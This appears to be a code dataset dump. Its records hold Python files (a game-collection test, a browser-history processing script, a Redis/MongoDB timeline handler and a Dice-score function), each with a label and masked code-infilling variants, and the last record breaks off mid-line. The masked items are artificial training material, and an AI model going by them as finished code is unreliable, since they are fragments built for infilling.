import smart_imports smart_imports.all() class LogicTests(utils_testcase.TestCase): def setUp(self): super(LogicTests, self).setUp() game_logic.create_test_map() self.account_1 = self.accounts_factory.create_account() self.account_1_items = prototypes.AccountItemsPrototype.get_by_account_id(self.account_1.id) self.collection_1 = prototypes.CollectionPrototype.create(caption='collection_1', description='description_1') self.collection_2 = prototypes.CollectionPrototype.create(caption='collection_2', description='description_2', approved=True) self.kit_1 = prototypes.KitPrototype.create(collection=self.collection_1, caption='kit_1', description='description_1') self.kit_2 = prototypes.KitPrototype.create(collection=self.collection_2, caption='kit_2', description='description_2', approved=True) self.kit_3 = prototypes.KitPrototype.create(collection=self.collection_2, caption='kit_3', description='description_3', approved=True) self.item_1_1 = prototypes.ItemPrototype.create(kit=self.kit_1, caption='item_1_1', text='text_1_1', approved=False) self.item_1_2 = prototypes.ItemPrototype.create(kit=self.kit_1, caption='item_1_2', text='text_1_2', approved=True) self.item_2_1 = prototypes.ItemPrototype.create(kit=self.kit_2, caption='item_2_1', text='text_2_1', approved=True) self.item_2_2 = prototypes.ItemPrototype.create(kit=self.kit_2, caption='item_2_2', text='text_2_2', approved=False) self.item_3_1 = prototypes.ItemPrototype.create(kit=self.kit_3, caption='item_3_1', text='text_3_1', approved=True) def test_get_items_count(self): self.assertEqual(logic.get_items_count(prototypes.ItemPrototype._db_all()), (collections.Counter({self.kit_2.id: 1, self.kit_3.id: 1}), {self.collection_2.id: 2})) def test_get_items_count__with_account(self): self.account_1_items.add_item(self.item_3_1) self.account_1_items.save() self.assertEqual(logic.get_items_count(prototypes.ItemPrototype._db_filter(id__in=self.account_1_items.items_ids())), (collections.Counter({self.kit_3.id: 1}), {self.collection_2.id: 1})) def test_get_collections_statistics__no_account(self): self.assertEqual(logic.get_collections_statistics(None), {'total_items_in_collections': {self.collection_2.id: 2}, 'total_items_in_kits': collections.Counter({self.kit_2.id: 1, self.kit_3.id: 1}), 'account_items_in_collections': {}, 'account_items_in_kits': {}, 'total_items': 2, 'account_items': 0}) def test_get_collections_statistics__with_account(self): self.account_1_items.add_item(self.item_3_1) self.account_1_items.save() self.assertEqual(logic.get_collections_statistics(self.account_1_items), {'total_items_in_collections': {self.collection_2.id: 2}, 'total_items_in_kits': collections.Counter({self.kit_2.id: 1, self.kit_3.id: 1}), 'account_items_in_collections': {self.collection_2.id: 1}, 'account_items_in_kits': collections.Counter({self.kit_3.id: 1}), 'total_items': 2, 'account_items': 1})
normal
{ "blob_id": "89e5e82c073f7f87c00fc844c861c6c5cbe6a695", "index": 8893, "step-1": "<mask token>\n\n\nclass LogicTests(utils_testcase.TestCase):\n\n def setUp(self):\n super(LogicTests, self).setUp()\n game_logic.create_test_map()\n self.account_1 = self.accounts_factory.create_account()\n self.account_1_items = (prototypes.AccountItemsPrototype.\n get_by_account_id(self.account_1.id))\n self.collection_1 = prototypes.CollectionPrototype.create(caption=\n 'collection_1', description='description_1')\n self.collection_2 = prototypes.CollectionPrototype.create(caption=\n 'collection_2', description='description_2', approved=True)\n self.kit_1 = prototypes.KitPrototype.create(collection=self.\n collection_1, caption='kit_1', description='description_1')\n self.kit_2 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_2', description='description_2',\n approved=True)\n self.kit_3 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_3', description='description_3',\n approved=True)\n self.item_1_1 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_1', text='text_1_1', approved=False)\n self.item_1_2 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_2', text='text_1_2', approved=True)\n self.item_2_1 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_1', text='text_2_1', approved=True)\n self.item_2_2 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_2', text='text_2_2', approved=False)\n self.item_3_1 = prototypes.ItemPrototype.create(kit=self.kit_3,\n caption='item_3_1', text='text_3_1', approved=True)\n <mask token>\n\n def test_get_items_count__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype.\n _db_filter(id__in=self.account_1_items.items_ids())), (\n collections.Counter({self.kit_3.id: 1}), {self.collection_2.id: 1})\n )\n\n def test_get_collections_statistics__no_account(self):\n self.assertEqual(logic.get_collections_statistics(None), {\n 'total_items_in_collections': {self.collection_2.id: 2},\n 'total_items_in_kits': collections.Counter({self.kit_2.id: 1,\n self.kit_3.id: 1}), 'account_items_in_collections': {},\n 'account_items_in_kits': {}, 'total_items': 2, 'account_items': 0})\n\n def test_get_collections_statistics__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_collections_statistics(self.\n account_1_items), {'total_items_in_collections': {self.\n collection_2.id: 2}, 'total_items_in_kits': collections.Counter\n ({self.kit_2.id: 1, self.kit_3.id: 1}),\n 'account_items_in_collections': {self.collection_2.id: 1},\n 'account_items_in_kits': collections.Counter({self.kit_3.id: 1}\n ), 'total_items': 2, 'account_items': 1})\n", "step-2": "<mask token>\n\n\nclass LogicTests(utils_testcase.TestCase):\n\n def setUp(self):\n super(LogicTests, self).setUp()\n game_logic.create_test_map()\n self.account_1 = self.accounts_factory.create_account()\n self.account_1_items = (prototypes.AccountItemsPrototype.\n get_by_account_id(self.account_1.id))\n self.collection_1 = prototypes.CollectionPrototype.create(caption=\n 'collection_1', description='description_1')\n self.collection_2 = prototypes.CollectionPrototype.create(caption=\n 'collection_2', description='description_2', approved=True)\n self.kit_1 = prototypes.KitPrototype.create(collection=self.\n collection_1, caption='kit_1', description='description_1')\n self.kit_2 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_2', description='description_2',\n approved=True)\n self.kit_3 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_3', description='description_3',\n approved=True)\n self.item_1_1 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_1', text='text_1_1', approved=False)\n self.item_1_2 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_2', text='text_1_2', approved=True)\n self.item_2_1 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_1', text='text_2_1', approved=True)\n self.item_2_2 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_2', text='text_2_2', approved=False)\n self.item_3_1 = prototypes.ItemPrototype.create(kit=self.kit_3,\n caption='item_3_1', text='text_3_1', approved=True)\n\n def test_get_items_count(self):\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype.\n _db_all()), (collections.Counter({self.kit_2.id: 1, self.kit_3.\n id: 1}), {self.collection_2.id: 2}))\n\n def test_get_items_count__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype.\n _db_filter(id__in=self.account_1_items.items_ids())), (\n collections.Counter({self.kit_3.id: 1}), {self.collection_2.id: 1})\n )\n\n def test_get_collections_statistics__no_account(self):\n self.assertEqual(logic.get_collections_statistics(None), {\n 'total_items_in_collections': {self.collection_2.id: 2},\n 'total_items_in_kits': collections.Counter({self.kit_2.id: 1,\n self.kit_3.id: 1}), 'account_items_in_collections': {},\n 'account_items_in_kits': {}, 'total_items': 2, 'account_items': 0})\n\n def test_get_collections_statistics__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_collections_statistics(self.\n account_1_items), {'total_items_in_collections': {self.\n collection_2.id: 2}, 'total_items_in_kits': collections.Counter\n ({self.kit_2.id: 1, self.kit_3.id: 1}),\n 'account_items_in_collections': {self.collection_2.id: 1},\n 'account_items_in_kits': collections.Counter({self.kit_3.id: 1}\n ), 'total_items': 2, 'account_items': 1})\n", "step-3": "<mask token>\nsmart_imports.all()\n\n\nclass LogicTests(utils_testcase.TestCase):\n\n def setUp(self):\n super(LogicTests, self).setUp()\n game_logic.create_test_map()\n self.account_1 = self.accounts_factory.create_account()\n self.account_1_items = (prototypes.AccountItemsPrototype.\n get_by_account_id(self.account_1.id))\n self.collection_1 = prototypes.CollectionPrototype.create(caption=\n 'collection_1', description='description_1')\n self.collection_2 = prototypes.CollectionPrototype.create(caption=\n 'collection_2', description='description_2', approved=True)\n self.kit_1 = prototypes.KitPrototype.create(collection=self.\n collection_1, caption='kit_1', description='description_1')\n self.kit_2 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_2', description='description_2',\n approved=True)\n self.kit_3 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_3', description='description_3',\n approved=True)\n self.item_1_1 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_1', text='text_1_1', approved=False)\n self.item_1_2 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_2', text='text_1_2', approved=True)\n self.item_2_1 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_1', text='text_2_1', approved=True)\n self.item_2_2 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_2', text='text_2_2', approved=False)\n self.item_3_1 = prototypes.ItemPrototype.create(kit=self.kit_3,\n caption='item_3_1', text='text_3_1', approved=True)\n\n def test_get_items_count(self):\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype.\n _db_all()), (collections.Counter({self.kit_2.id: 1, self.kit_3.\n id: 1}), {self.collection_2.id: 2}))\n\n def test_get_items_count__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype.\n _db_filter(id__in=self.account_1_items.items_ids())), (\n collections.Counter({self.kit_3.id: 1}), {self.collection_2.id: 1})\n )\n\n def test_get_collections_statistics__no_account(self):\n self.assertEqual(logic.get_collections_statistics(None), {\n 'total_items_in_collections': {self.collection_2.id: 2},\n 'total_items_in_kits': collections.Counter({self.kit_2.id: 1,\n self.kit_3.id: 1}), 'account_items_in_collections': {},\n 'account_items_in_kits': {}, 'total_items': 2, 'account_items': 0})\n\n def test_get_collections_statistics__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_collections_statistics(self.\n account_1_items), {'total_items_in_collections': {self.\n collection_2.id: 2}, 'total_items_in_kits': collections.Counter\n ({self.kit_2.id: 1, self.kit_3.id: 1}),\n 'account_items_in_collections': {self.collection_2.id: 1},\n 'account_items_in_kits': collections.Counter({self.kit_3.id: 1}\n ), 'total_items': 2, 'account_items': 1})\n", "step-4": "import smart_imports\nsmart_imports.all()\n\n\nclass LogicTests(utils_testcase.TestCase):\n\n def setUp(self):\n super(LogicTests, self).setUp()\n game_logic.create_test_map()\n self.account_1 = self.accounts_factory.create_account()\n self.account_1_items = (prototypes.AccountItemsPrototype.\n get_by_account_id(self.account_1.id))\n self.collection_1 = prototypes.CollectionPrototype.create(caption=\n 'collection_1', description='description_1')\n self.collection_2 = prototypes.CollectionPrototype.create(caption=\n 'collection_2', description='description_2', approved=True)\n self.kit_1 = prototypes.KitPrototype.create(collection=self.\n collection_1, caption='kit_1', description='description_1')\n self.kit_2 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_2', description='description_2',\n approved=True)\n self.kit_3 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_3', description='description_3',\n approved=True)\n self.item_1_1 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_1', text='text_1_1', approved=False)\n self.item_1_2 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_2', text='text_1_2', approved=True)\n self.item_2_1 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_1', text='text_2_1', approved=True)\n self.item_2_2 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_2', text='text_2_2', approved=False)\n self.item_3_1 = prototypes.ItemPrototype.create(kit=self.kit_3,\n caption='item_3_1', text='text_3_1', approved=True)\n\n def test_get_items_count(self):\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype.\n _db_all()), (collections.Counter({self.kit_2.id: 1, self.kit_3.\n id: 1}), {self.collection_2.id: 2}))\n\n def test_get_items_count__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype.\n _db_filter(id__in=self.account_1_items.items_ids())), (\n collections.Counter({self.kit_3.id: 1}), {self.collection_2.id: 1})\n )\n\n def test_get_collections_statistics__no_account(self):\n self.assertEqual(logic.get_collections_statistics(None), {\n 'total_items_in_collections': {self.collection_2.id: 2},\n 'total_items_in_kits': collections.Counter({self.kit_2.id: 1,\n self.kit_3.id: 1}), 'account_items_in_collections': {},\n 'account_items_in_kits': {}, 'total_items': 2, 'account_items': 0})\n\n def test_get_collections_statistics__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_collections_statistics(self.\n account_1_items), {'total_items_in_collections': {self.\n collection_2.id: 2}, 'total_items_in_kits': collections.Counter\n ({self.kit_2.id: 1, self.kit_3.id: 1}),\n 'account_items_in_collections': {self.collection_2.id: 1},\n 'account_items_in_kits': collections.Counter({self.kit_3.id: 1}\n ), 'total_items': 2, 'account_items': 1})\n", "step-5": "\nimport smart_imports\n\nsmart_imports.all()\n\n\nclass LogicTests(utils_testcase.TestCase):\n\n def setUp(self):\n super(LogicTests, self).setUp()\n\n game_logic.create_test_map()\n\n self.account_1 = self.accounts_factory.create_account()\n\n self.account_1_items = prototypes.AccountItemsPrototype.get_by_account_id(self.account_1.id)\n\n self.collection_1 = prototypes.CollectionPrototype.create(caption='collection_1', description='description_1')\n self.collection_2 = prototypes.CollectionPrototype.create(caption='collection_2', description='description_2', approved=True)\n\n self.kit_1 = prototypes.KitPrototype.create(collection=self.collection_1, caption='kit_1', description='description_1')\n self.kit_2 = prototypes.KitPrototype.create(collection=self.collection_2, caption='kit_2', description='description_2', approved=True)\n self.kit_3 = prototypes.KitPrototype.create(collection=self.collection_2, caption='kit_3', description='description_3', approved=True)\n\n self.item_1_1 = prototypes.ItemPrototype.create(kit=self.kit_1, caption='item_1_1', text='text_1_1', approved=False)\n self.item_1_2 = prototypes.ItemPrototype.create(kit=self.kit_1, caption='item_1_2', text='text_1_2', approved=True)\n self.item_2_1 = prototypes.ItemPrototype.create(kit=self.kit_2, caption='item_2_1', text='text_2_1', approved=True)\n self.item_2_2 = prototypes.ItemPrototype.create(kit=self.kit_2, caption='item_2_2', text='text_2_2', approved=False)\n self.item_3_1 = prototypes.ItemPrototype.create(kit=self.kit_3, caption='item_3_1', text='text_3_1', approved=True)\n\n def test_get_items_count(self):\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype._db_all()),\n (collections.Counter({self.kit_2.id: 1, self.kit_3.id: 1}), {self.collection_2.id: 2}))\n\n def test_get_items_count__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype._db_filter(id__in=self.account_1_items.items_ids())),\n (collections.Counter({self.kit_3.id: 1}), {self.collection_2.id: 1}))\n\n def test_get_collections_statistics__no_account(self):\n self.assertEqual(logic.get_collections_statistics(None),\n {'total_items_in_collections': {self.collection_2.id: 2},\n 'total_items_in_kits': collections.Counter({self.kit_2.id: 1, self.kit_3.id: 1}),\n 'account_items_in_collections': {},\n 'account_items_in_kits': {},\n 'total_items': 2,\n 'account_items': 0})\n\n def test_get_collections_statistics__with_account(self):\n\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n\n self.assertEqual(logic.get_collections_statistics(self.account_1_items),\n {'total_items_in_collections': {self.collection_2.id: 2},\n 'total_items_in_kits': collections.Counter({self.kit_2.id: 1, self.kit_3.id: 1}),\n 'account_items_in_collections': {self.collection_2.id: 1},\n 'account_items_in_kits': collections.Counter({self.kit_3.id: 1}),\n 'total_items': 2,\n 'account_items': 1})\n", "step-ids": [ 5, 6, 7, 8, 9 ] }
[ 5, 6, 7, 8, 9 ]
# This script runs nightly to process users' preinstall history # no it doesn't, you liar from bson.objectid import ObjectId import ConfigParser import os from text_processing.textprocessing import start_text_processing_queue from pymongo import MongoClient import time from os import listdir from os.path import isfile, join CONFIG_FILENAME = 'app.config' BASE_DIR = os.path.dirname(os.path.abspath(__file__)) IMPORT_DIR = os.path.join(BASE_DIR, "static", "import") # read in app config config = ConfigParser.ConfigParser() config.read(os.path.join(BASE_DIR,CONFIG_FILENAME)) #DB uri = "mongodb://"+ config.get('db','user')+ ":"+ config.get('db','pass')+"@" +config.get('db','host') + ":" + config.get('db','port') db_client = MongoClient(uri) db = db_client[config.get('db','name')] db_user_history_collection = db[config.get('db','user_history_item_collection')] db_user_collection = db[config.get('db','user_collection')] #find users who have preinstall history users = db_user_collection.find({ "history-pre-installation": {"$exists":1}, "history-pre-installation-processed": {"$exists":0} }, {"history-pre-installation":1, "_id":1, "username":1}) for user in users: print "Processing browser history for " + user["username"] historyItems = user["history-pre-installation"] print str(len(historyItems)) + " items to process" userID = str(user["_id"]) # start text queue for each item for historyObject in historyItems: print historyObject["url"] historyObject["userID"] = userID; historyObject["preinstallation"] = "true" #check that we haven't already added this item count = db_user_history_collection.find({ "userID" : userID, "url":historyObject["url"], "lastVisitTime": historyObject["lastVisitTime"] }).count() if count == 0: args = (historyObject, config, False); start_text_processing_queue(*args) else: print "Already added this item - skipping..." #mark that we've processed their browsing history db_user_collection.update({ "_id": ObjectId(userID)},{ "$set":{'history-pre-installation-processed':1}})
normal
{ "blob_id": "73058bd9533ef6c0d1a4faf96930077147631917", "index": 9289, "step-1": "# This script runs nightly to process users' preinstall history\n# no it doesn't, you liar\nfrom bson.objectid import ObjectId\nimport ConfigParser\nimport os\nfrom text_processing.textprocessing import start_text_processing_queue\nfrom pymongo import MongoClient\nimport time\nfrom os import listdir\nfrom os.path import isfile, join\n\nCONFIG_FILENAME = 'app.config'\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nIMPORT_DIR = os.path.join(BASE_DIR, \"static\", \"import\")\n\n# read in app config\nconfig = ConfigParser.ConfigParser()\nconfig.read(os.path.join(BASE_DIR,CONFIG_FILENAME))\n\n#DB\nuri = \"mongodb://\"+ config.get('db','user')+ \":\"+ config.get('db','pass')+\"@\" +config.get('db','host') + \":\" + config.get('db','port')\ndb_client = MongoClient(uri)\ndb = db_client[config.get('db','name')]\ndb_user_history_collection = db[config.get('db','user_history_item_collection')]\ndb_user_collection = db[config.get('db','user_collection')]\n\n#find users who have preinstall history\nusers = db_user_collection.find({ \"history-pre-installation\": {\"$exists\":1}, \"history-pre-installation-processed\": {\"$exists\":0} }, {\"history-pre-installation\":1, \"_id\":1, \"username\":1})\n\nfor user in users:\n\tprint \"Processing browser history for \" + user[\"username\"]\n\thistoryItems = user[\"history-pre-installation\"]\n\tprint str(len(historyItems)) + \" items to process\"\n\tuserID = str(user[\"_id\"])\n\t# start text queue for each item\n\tfor historyObject in historyItems:\n\t\tprint historyObject[\"url\"]\n\t\thistoryObject[\"userID\"] = userID;\n\t\thistoryObject[\"preinstallation\"] = \"true\"\n\n\t\t#check that we haven't already added this item\n\t\tcount = db_user_history_collection.find({ \"userID\" : userID, \"url\":historyObject[\"url\"], \"lastVisitTime\": historyObject[\"lastVisitTime\"] }).count()\n\t\tif count == 0:\n\t\t\targs = (historyObject, config, False);\n\t\t\tstart_text_processing_queue(*args)\n\t\telse:\n\t\t\tprint \"Already added this item - skipping...\"\n\n\t#mark that we've processed their browsing history\n\tdb_user_collection.update({ \"_id\": ObjectId(userID)},{ \"$set\":{'history-pre-installation-processed':1}})", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def handle(req): """handle a request to the function Args: req (str): request body """ start = time() event = json.loads(req) user_id = event['user_id'] post_id = event['post_id'] timestamp = event['timestamp'] myclient = pymongo.MongoClient(user_timeline_mongodb) mydb = myclient['user-timeline'] mycol = mydb['user-timeline'] myquery = {'user_id': user_id} mydoc = mycol.find(myquery) if mydoc.count() == 0: posts_j = {} posts_j[str(post_id)] = timestamp mydict = {'user_id': user_id, 'posts': json.dumps(posts_j)} mycol.insert_one(mydict) else: posts_j = json.loads(mydoc.next()['posts']) posts_j[str(post_id)] = timestamp posts_update = {'$set': {'posts': json.dumps(posts_j)}} mycol.update_one(myquery, posts_update) r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True) r.hset(user_id, post_id, timestamp) return str(time() - start) <|reserved_special_token_1|> <|reserved_special_token_0|> user_timeline_mongodb = ( 'mongodb://user-timeline-mongodb.sdc-socialnetwork-db.svc.cluster.local:27017/' ) user_timeline_redis = ( 'user-timeline-redis.sdc-socialnetwork-db.svc.cluster.local') def handle(req): """handle a request to the function Args: req (str): request body """ start = time() event = json.loads(req) user_id = event['user_id'] post_id = event['post_id'] timestamp = event['timestamp'] myclient = pymongo.MongoClient(user_timeline_mongodb) mydb = myclient['user-timeline'] mycol = mydb['user-timeline'] myquery = {'user_id': user_id} mydoc = mycol.find(myquery) if mydoc.count() == 0: posts_j = {} posts_j[str(post_id)] = timestamp mydict = {'user_id': user_id, 'posts': json.dumps(posts_j)} mycol.insert_one(mydict) else: posts_j = json.loads(mydoc.next()['posts']) posts_j[str(post_id)] = timestamp posts_update = {'$set': {'posts': json.dumps(posts_j)}} mycol.update_one(myquery, posts_update) r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True) r.hset(user_id, post_id, timestamp) return str(time() - start) <|reserved_special_token_1|> import pymongo import redis import json from time import time user_timeline_mongodb = ( 'mongodb://user-timeline-mongodb.sdc-socialnetwork-db.svc.cluster.local:27017/' ) user_timeline_redis = ( 'user-timeline-redis.sdc-socialnetwork-db.svc.cluster.local') def handle(req): """handle a request to the function Args: req (str): request body """ start = time() event = json.loads(req) user_id = event['user_id'] post_id = event['post_id'] timestamp = event['timestamp'] myclient = pymongo.MongoClient(user_timeline_mongodb) mydb = myclient['user-timeline'] mycol = mydb['user-timeline'] myquery = {'user_id': user_id} mydoc = mycol.find(myquery) if mydoc.count() == 0: posts_j = {} posts_j[str(post_id)] = timestamp mydict = {'user_id': user_id, 'posts': json.dumps(posts_j)} mycol.insert_one(mydict) else: posts_j = json.loads(mydoc.next()['posts']) posts_j[str(post_id)] = timestamp posts_update = {'$set': {'posts': json.dumps(posts_j)}} mycol.update_one(myquery, posts_update) r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True) r.hset(user_id, post_id, timestamp) return str(time() - start) <|reserved_special_token_1|> import pymongo import redis import json from time import time user_timeline_mongodb = "mongodb://user-timeline-mongodb.sdc-socialnetwork-db.svc.cluster.local:27017/" user_timeline_redis = "user-timeline-redis.sdc-socialnetwork-db.svc.cluster.local" def handle(req): """handle a request to the function Args: req (str): request body """ start = time() event = json.loads(req) user_id = event["user_id"] post_id = event["post_id"] timestamp = event["timestamp"] myclient = pymongo.MongoClient(user_timeline_mongodb) mydb = myclient['user-timeline'] mycol = mydb["user-timeline"] myquery = { "user_id": user_id } mydoc = mycol.find(myquery) if mydoc.count() == 0: posts_j = {} posts_j[str(post_id)] = timestamp mydict = {"user_id": user_id, "posts": json.dumps(posts_j)} mycol.insert_one(mydict) else: posts_j = json.loads(mydoc.next()["posts"]) posts_j[str(post_id)] = timestamp posts_update = {"$set": {"posts": json.dumps(posts_j)}} mycol.update_one(myquery, posts_update) r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True) r.hset(user_id, post_id, timestamp) #r.hset("end_time", event["req_id"], str(time())) return str(time() - start)
flexible
{ "blob_id": "37969899aa646f4cdd7a5513f17d26b334870f1b", "index": 6598, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef handle(req):\n \"\"\"handle a request to the function\n Args:\n req (str): request body\n \"\"\"\n start = time()\n event = json.loads(req)\n user_id = event['user_id']\n post_id = event['post_id']\n timestamp = event['timestamp']\n myclient = pymongo.MongoClient(user_timeline_mongodb)\n mydb = myclient['user-timeline']\n mycol = mydb['user-timeline']\n myquery = {'user_id': user_id}\n mydoc = mycol.find(myquery)\n if mydoc.count() == 0:\n posts_j = {}\n posts_j[str(post_id)] = timestamp\n mydict = {'user_id': user_id, 'posts': json.dumps(posts_j)}\n mycol.insert_one(mydict)\n else:\n posts_j = json.loads(mydoc.next()['posts'])\n posts_j[str(post_id)] = timestamp\n posts_update = {'$set': {'posts': json.dumps(posts_j)}}\n mycol.update_one(myquery, posts_update)\n r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True)\n r.hset(user_id, post_id, timestamp)\n return str(time() - start)\n", "step-3": "<mask token>\nuser_timeline_mongodb = (\n 'mongodb://user-timeline-mongodb.sdc-socialnetwork-db.svc.cluster.local:27017/'\n )\nuser_timeline_redis = (\n 'user-timeline-redis.sdc-socialnetwork-db.svc.cluster.local')\n\n\ndef handle(req):\n \"\"\"handle a request to the function\n Args:\n req (str): request body\n \"\"\"\n start = time()\n event = json.loads(req)\n user_id = event['user_id']\n post_id = event['post_id']\n timestamp = event['timestamp']\n myclient = pymongo.MongoClient(user_timeline_mongodb)\n mydb = myclient['user-timeline']\n mycol = mydb['user-timeline']\n myquery = {'user_id': user_id}\n mydoc = mycol.find(myquery)\n if mydoc.count() == 0:\n posts_j = {}\n posts_j[str(post_id)] = timestamp\n mydict = {'user_id': user_id, 'posts': json.dumps(posts_j)}\n mycol.insert_one(mydict)\n else:\n posts_j = json.loads(mydoc.next()['posts'])\n posts_j[str(post_id)] = timestamp\n posts_update = {'$set': {'posts': json.dumps(posts_j)}}\n mycol.update_one(myquery, posts_update)\n r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True)\n r.hset(user_id, post_id, timestamp)\n return str(time() - start)\n", "step-4": "import pymongo\nimport redis\nimport json\nfrom time import time\nuser_timeline_mongodb = (\n 'mongodb://user-timeline-mongodb.sdc-socialnetwork-db.svc.cluster.local:27017/'\n )\nuser_timeline_redis = (\n 'user-timeline-redis.sdc-socialnetwork-db.svc.cluster.local')\n\n\ndef handle(req):\n \"\"\"handle a request to the function\n Args:\n req (str): request body\n \"\"\"\n start = time()\n event = json.loads(req)\n user_id = event['user_id']\n post_id = event['post_id']\n timestamp = event['timestamp']\n myclient = pymongo.MongoClient(user_timeline_mongodb)\n mydb = myclient['user-timeline']\n mycol = mydb['user-timeline']\n myquery = {'user_id': user_id}\n mydoc = mycol.find(myquery)\n if mydoc.count() == 0:\n posts_j = {}\n posts_j[str(post_id)] = timestamp\n mydict = {'user_id': user_id, 'posts': json.dumps(posts_j)}\n mycol.insert_one(mydict)\n else:\n posts_j = json.loads(mydoc.next()['posts'])\n posts_j[str(post_id)] = timestamp\n posts_update = {'$set': {'posts': json.dumps(posts_j)}}\n mycol.update_one(myquery, posts_update)\n r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True)\n r.hset(user_id, post_id, timestamp)\n return str(time() - start)\n", "step-5": "import pymongo\nimport redis\nimport json\nfrom time import time\n\nuser_timeline_mongodb = \"mongodb://user-timeline-mongodb.sdc-socialnetwork-db.svc.cluster.local:27017/\"\nuser_timeline_redis = \"user-timeline-redis.sdc-socialnetwork-db.svc.cluster.local\"\n\n\ndef handle(req):\n \"\"\"handle a request to the function\n Args:\n req (str): request body\n \"\"\"\n start = time()\n event = json.loads(req)\n\n user_id = event[\"user_id\"]\n post_id = event[\"post_id\"]\n timestamp = event[\"timestamp\"]\n\n myclient = pymongo.MongoClient(user_timeline_mongodb)\n mydb = myclient['user-timeline']\n mycol = mydb[\"user-timeline\"]\n\n myquery = { \"user_id\": user_id }\n mydoc = mycol.find(myquery)\n\n if mydoc.count() == 0:\n posts_j = {}\n posts_j[str(post_id)] = timestamp\n mydict = {\"user_id\": user_id, \"posts\": json.dumps(posts_j)}\n mycol.insert_one(mydict)\n else:\n posts_j = json.loads(mydoc.next()[\"posts\"])\n posts_j[str(post_id)] = timestamp\n posts_update = {\"$set\": {\"posts\": json.dumps(posts_j)}}\n mycol.update_one(myquery, posts_update)\n\n r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True)\n r.hset(user_id, post_id, timestamp)\n\n #r.hset(\"end_time\", event[\"req_id\"], str(time()))\n\n return str(time() - start)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> def cut_off(x): if x <= 0: print('Cut_off is applied') return float('inf') return x def compute_dice(out_fol, steps=100): files = [x for x in os.listdir(out_fol) if 'npy' in x] thresholds = np.array(range(30, 60)) / steps dice_thresholds = np.zeros(len(thresholds)) print(thresholds) for i, threshold in enumerate(thresholds): dice_running = 0 for file in files: data = np.load(os.path.join(out_fol, file)) im1 = data[:, 0:1] im2 = data[:, 1:] dice_running += dice_score(im1, im2, threshold) dice_thresholds[i] = dice_running / len(files) print('applying threshold: ', threshold, dice_running / len(files)) sys.stdout.flush() print(dice_thresholds) save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds. reshape(-1, 1)), axis=1) np.save(os.path.join(out_fol, out_fol.split('/')[-1] + '_thresholds_dice_saved'), save_dice) threshold_best = thresholds[np.argmax(dice_thresholds)] stats = np.zeros((len(files), 7)) for i, file in enumerate(files): data = np.load(os.path.join(out_fol, file)) im1 = data[:, 0] im2 = data[:, 1] dice = dice_score(im1.copy(), im2.copy(), threshold_best) tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(), threshold_best) PPV = tpos / cut_off(tpos + fpos) NPV = tneg / cut_off(fneg + tneg) TPR = tpos / cut_off(tpos + fneg) FNR = fneg / cut_off(tpos + fneg) FPR = fpos / cut_off(fpos + tneg) TNR = tneg 